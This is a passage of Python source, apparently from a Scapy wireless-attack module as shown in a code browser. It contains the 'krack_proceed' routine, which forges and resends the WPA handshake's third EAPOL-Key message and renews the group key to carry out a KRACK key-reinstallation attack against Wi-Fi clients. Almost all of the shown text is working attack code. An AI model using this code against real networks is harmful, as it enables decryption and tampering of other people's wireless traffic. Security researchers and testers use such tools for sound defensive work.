(self, send_3handshake=False, send_gtk=False)
| 646 | |
| 647 | @ATMT.action(krack_dispatch) |
| 648 | def krack_proceed(self, send_3handshake=False, send_gtk=False): |
| 649 | if send_3handshake: |
| 650 | rep = RadioTap() |
| 651 | rep /= Dot11( |
| 652 | addr1=self.client, |
| 653 | addr2=self.mac, |
| 654 | addr3=self.mac, |
| 655 | FCfield='from_DS', |
| 656 | SC=(next(self.seq_num) << 4), |
| 657 | subtype=0, |
| 658 | type="Data", |
| 659 | ) |
| 660 | |
| 661 | rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) |
| 662 | rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication |
| 663 | |
| 664 | data = self.RSN |
| 665 | data += self.build_GTK_KDE() |
| 666 | |
| 667 | eap_2 = self.build_EAPOL_Key_8021X2004( |
| 668 | # Key information 0x13c9: |
| 669 | # ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, # noqa: E501 |
| 670 | # Encrypted, SMK |
| 671 | key_information=0x13c9, |
| 672 | replay_counter=next(self.replay_counter), |
| 673 | nonce=self.anonce, |
| 674 | data=data, |
| 675 | key_mic=self.kck, |
| 676 | key_data_encrypt=self.kek, |
| 677 | ) |
| 678 | |
| 679 | rep /= eap_2 |
| 680 | |
| 681 | if self.encrypt_3handshake: |
| 682 | self.send_wpa_to_client(rep[LLC]) |
| 683 | else: |
| 684 | self.send(rep) |
| 685 | |
| 686 | self.krack_state |= 1 |
| 687 | |
| 688 | if send_gtk: |
| 689 | self.krack_state |= 2 |
| 690 | # Renew the GTK |
| 691 | self.install_GTK() |
| 692 | raise self.RENEW_GTK() |
| 693 | |
| 694 | @ATMT.receive_condition(ANALYZE_DATA) |
| 695 | def get_data(self, pkt): |
nothing calls this directly
no test coverage detected